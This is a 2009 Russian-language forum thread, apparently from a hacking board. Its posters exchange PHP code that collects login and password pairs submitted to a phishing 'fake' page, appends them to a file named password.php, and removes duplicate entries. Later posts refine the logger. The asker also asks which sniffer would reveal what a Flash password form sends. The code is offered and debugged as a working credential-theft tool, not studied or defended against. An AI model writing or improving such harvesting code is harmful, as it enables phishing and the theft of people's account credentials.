
21.07.2009, 01:34
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме: 244235
Репутация:
39
|
|
Naydav, http://ua.php.net/manual/en/function.preg-replace.php - Там Parameters - replacement
Кстати, если ты это для нормального отображения длинных строк в браузере, юзай лучше не пробел, а тэг <wbr>
|
|
|

21.07.2009, 18:25
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
подскажите нужен скрипт, посылаю на него два параметра пост или гет запросом, он записывает их в базу или в файл. И проверяет каждый раз, если данные уже такие есть, то записывать их не надо.
|
|
|

21.07.2009, 18:52
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
PHP код:
<?php
if (isset($_POST['var_1']) && isset($_POST['var_2']))
{
$link = @mysql_connect('localhost' , 'user' , 'login') or die('Такие вот пироги!');
$db_selected = @mysql_select_db('database', $link) or die('Такие вот пироги!');
$query = 'SELECT COUNT(*) FROM table WHERE var_1="' . mysql_escape_string($_POST['var_1']) . '" AND var_2="' . mysql_escape_string($_POST['var_2']) . '"';
$result = mysql_query($query);
$fetch = mysql_fetch_row($result);
if ($fetch[0] == '0')
{
mysql_query('INSERT INTO table SET var_1="' . mysql_escape_string($_POST['var_1']) . '", var_2="' . mysql_escape_string($_POST['var_2']) . '"');
}
}
?>
где-то так
|
|
|

21.07.2009, 20:20
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
Спасибо за совет. А вот если я так реализовал, чтобы в базу не записывать нашел пример фейка там все пишется в файл:
PHP код:
<?PHP
$Login = $_POST['login']; // Логин
$Psw = $_POST['psw']; // Пароль
// надо организовать проверку того, что есть уже в базе
$log = fopen("password.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Psw \n"); //записываем всё
fclose($log); //закрываем
?>
можно так проверить?
|
|
|

21.07.2009, 20:33
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
PHP код:
<?php
$file = 'password.php';
$login = $_POST['login'];
$password = $_POST['psw'];
$item = $login . ':' . $password;
$items = file($file);
$finded = False;
for ($i = 0; $i < count($items); $i++)
{
if ($items[$i] == $item)
{
$finded = True;
break;
}
}
if ($finded == False)
{
$database = fopen($file,'a+');
fwrite($database,"\r\n" . $item);
fclose($database);
} else {
echo('В базе есть!');
}
?>
где-то так
Последний раз редактировалось FireFenix; 21.07.2009 в 20:40..
|
|
|

21.07.2009, 20:41
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
Спасибо конечно, но че-то не хочет работать как надо)
|
|
|

21.07.2009, 20:50
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
все заработало, это я в delphi чуток не так посылал запрос. Спасибо еще раз. И еще можно вопрос по поводу Flash. Если есть форма по отправке пароля реализованная на флэш каким сниффером лучше узнать что он отправляет? Посоветуйте.
|
|
|

21.07.2009, 21:40
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
В общем не так работает как надо) Все равно пропускает одинаковые значения. обидно(
|
|
|

21.07.2009, 21:59
|
|
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме: 35186
Репутация:
7
|
|
А как сделать, чтобы каждый новый параметр, т.е. логин:пароль писались с новой строчки?
|
|
|

21.07.2009, 22:08
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
смотря чем ты просматриваешь, некоторым редактором нужно возврат каретки + перенос строки, неотокрым хватает только переноса строки => используй (замени) для переноса "\r\n" или "\n"
PHP код:
<?php
$delimetr = "\n"; //или "\r\n"
$file = 'password.php';
$login = $_POST['login'];
$password = $_POST['psw'];
$item = $login . ':' . $password;
$items = file($file);
$finded = False;
for ($i = 0; $i < count($items); $i++)
{
if (str_replace($delimetr, '', $items[$i]) == $item)
{
$finded = True;
break;
}
}
if ($finded == False)
{
$database = fopen($file,'a+');
fwrite($database, $item . $delimetr);
fclose($database);
} else {
echo('В базе есть!');
}
?>
Последний раз редактировалось FireFenix; 21.07.2009 в 22:20..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|